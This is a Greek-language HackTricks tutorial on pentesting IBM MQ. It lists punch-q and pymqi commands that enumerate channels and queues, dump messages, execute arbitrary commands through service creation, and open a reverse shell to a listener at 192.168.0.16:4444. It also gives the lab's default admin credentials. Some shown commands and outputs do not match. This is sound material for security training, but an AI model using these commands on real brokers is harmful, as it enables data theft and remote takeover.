1414 - Pentesting IBM MQ

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic information

IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως άλλες τεχνολογίες message broker, είναι αφιερωμένη στη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.

Από προεπιλογή, εκθέτει την TCP θύρα 1414 του IBM MQ. Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στην θύρα 9443. Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα 9157.

Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά και για να ελέγξει την instance.

Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο https://www.ibm.com/docs/en/ibm-mq.

Tools

Ένα προτεινόμενο εργαλείο για εύκολη εκμετάλλευση είναι το punch-q, με χρήση Docker. Το εργαλείο χρησιμοποιεί ενεργά τη βιβλιοθήκη Python pymqi.

Για μια πιο χειροκίνητη προσέγγιση, χρησιμοποιήστε τη βιβλιοθήκη Python pymqi. Εξαρτήσεις IBM MQ είναι απαραίτητες.

Installing pymqi

Οι εξαρτήσεις IBM MQ πρέπει να εγκατασταθούν και να φορτωθούν:

  1. Δημιουργήστε έναν λογαριασμό (IBMid) στο https://login.ibm.com/.

  2. Αποσυμπιέστε (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. Εκτελέστε sudo ./mqlicense.sh για να αποδεχθείτε τους όρους άδειας.

Αν βρίσκεστε σε Kali Linux, τροποποιήστε το αρχείο mqlicense.sh: αφαιρέστε/σχολιάστε τις παρακάτω γραμμές (μεταξύ γραμμών 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Εγκαταστήστε αυτά τα πακέτα:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Στη συνέχεια, προσθέστε προσωρινά τα .so αρχεία στο LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, πριν εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.

Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο pymqi: περιέχει ενδιαφέροντα αποσπάσματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: pip install pymqi.

Χρήση punch-q

Με Docker

Απλά χρησιμοποιήστε: sudo docker run --rm -ti leonjza/punch-q.

Χωρίς Docker

Κλωνοποιήστε το έργο punch-q και στη συνέχεια ακολουθήστε το readme για την εγκατάσταση (pip install -r requirements.txt && python3 setup.py install).

Μετά, μπορεί να χρησιμοποιηθεί με την εντολή punch-q.

Αριθμητική

Μπορείτε να προσπαθήσετε να αριθμήσετε το όνομα διαχειριστή ουράς, τους χρήστες, τα κανάλια και τις ουρές με punch-q ή pymqi.

Διαχειριστής Ουράς

Μερικές φορές, δεν υπάρχει προστασία κατά της απόκτησης του ονόματος διαχειριστή ουράς:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q χρησιμοποιεί μια εσωτερική (τροποποιήσιμη) λίστα λέξεων για να βρει υπάρχοντες καναλιούς. Παράδειγμα χρήσης:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Συμβαίνει μερικές φορές ορισμένες περιπτώσεις IBM MQ να δέχονται μη αυθεντικοποιημένα αιτήματα MQ, οπότε δεν χρειάζεται --username / --password. Φυσικά, τα δικαιώματα πρόσβασης μπορεί επίσης να διαφέρουν.

Μόλις αποκτήσουμε ένα όνομα καναλιού (εδώ: DEV.ADMIN.SVRCONN), μπορούμε να απαριθμήσουμε όλα τα άλλα κανάλια.

Η απαρίθμηση μπορεί βασικά να γίνει με αυτό το απόσπασμα κώδικα code/examples/dis_channels.py από pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Αλλά το punch-q ενσωματώνει επίσης αυτό το μέρος (με περισσότερες πληροφορίες!). Μπορεί να εκκινήσει με:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

Υπάρχει ένα απόσπασμα κώδικα με pymqi (dis_queues.py) αλλά το punch-q επιτρέπει την ανάκτηση περισσότερων πληροφοριών σχετικά με τις ουρές:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Μπορείτε να στοχεύσετε ουρές/κανάλια για να κατασκοπεύσετε/εξάγετε μηνύματα από αυτά (μη καταστροφική λειτουργία). Examples:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Μη διστάσετε να επαναλάβετε όλες τις αναγνωρισμένες ουρές.

Εκτέλεση κώδικα

Ορισμένες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί μέσω πολλών τρόπων: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην τεκμηρίωση του IBM MQ. PCF (Προγραμματιζόμενες Μορφές Εντολών) είναι αυτό που επικεντρωνόμαστε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. punch-q και επιπλέον pymqi βασίζονται σε αλληλεπιδράσεις PCF.

Μπορείτε να βρείτε μια λίστα με τις εντολές PCF:

Μια ενδιαφέρουσα εντολή είναι η MQCMD_CREATE_SERVICE και η τεκμηρίωσή της είναι διαθέσιμη εδώ. Δέχεται ως επιχείρημα μια StartCommand που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα: /bin/sh).

Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: "Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με εξουσία mqm. Εάν παραχωρηθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης θα μπορούσε να ορίσει μια υπηρεσία που θα βλάψει τα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."

Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο /admin/action/qmgr/{qmgrName}/mqsc για να εκτελέσετε την αντίστοιχη εντολή MQSC για τη δημιουργία υπηρεσίας (DEFINE SERVICE). Αυτό το θέμα δεν έχει καλυφθεί ακόμα εδώ.

Η δημιουργία / διαγραφή υπηρεσίας με PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με punch-q:

Παράδειγμα 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Στα αρχεία καταγραφής του IBM MQ, μπορείτε να διαβάσετε ότι η εντολή εκτελέστηκε επιτυχώς:

2023-10-10T19:13:01.713Z AMQ5030I: Η εντολή '808544aa7fc94c48' έχει ξεκινήσει. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Μπορείτε επίσης να απαριθμήσετε τα υπάρχοντα προγράμματα στη μηχανή (εδώ /bin/doesnotexist ... δεν υπάρχει):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Να είστε προσεκτικοί ότι η εκκίνηση του προγράμματος είναι ασύγχρονη. Έτσι χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια (listener for reverse shell, file creation on different service, data exfiltration through network ...)

Παράδειγμα 2

Για εύκολη reverse shell, punch-q προτείνει επίσης δύο payloads reverse shell:

  • Ένα με bash

  • Ένα με perl

Φυσικά μπορείτε να δημιουργήσετε ένα προσαρμοσμένο με την εντολή execute.

Για bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Για perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

Μπορείτε να ερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη pymqi python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο punch-q.

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Αν δεν μπορείτε να βρείτε τα ονόματα σταθερών, μπορείτε να ανατρέξετε στην τεκμηρίωση IBM MQ.

Παράδειγμα για MQCMD_REFRESH_CLUSTER (Δεκαδικό = 73). Χρειάζεται την παράμετρο MQCA_CLUSTER_NAME (Δεκαδικό = 2029) η οποία μπορεί να είναι * (Έγγραφο: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

Περιβάλλον δοκιμών

Αν θέλετε να δοκιμάσετε τη συμπεριφορά και τις εκμεταλλεύσεις του IBM MQ, μπορείτε να ρυθμίσετε ένα τοπικό περιβάλλον βασισμένο σε Docker:

  1. Έχοντας έναν λογαριασμό στο ibm.com και cloud.ibm.com.

  2. Δημιουργήστε ένα κοντέινερ IBM MQ με:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Κατά προεπιλογή, η αυθεντικοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι admin και ο κωδικός πρόσβασης είναι passw0rd (Μεταβλητή περιβάλλοντος MQ_ADMIN_PASSWORD). Εδώ, το όνομα του διαχειριστή ουρών έχει οριστεί σε MYQUEUEMGR (μεταβλητή MQ_QMGR_NAME).

Πρέπει να έχετε το IBM MQ σε λειτουργία με τις θύρες του εκτεθειμένες:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Οι παλιές εκδόσεις των εικόνων docker του IBM MQ βρίσκονται στη διεύθυνση: https://hub.docker.com/r/ibmcom/mq/.

Αναφορές

Last updated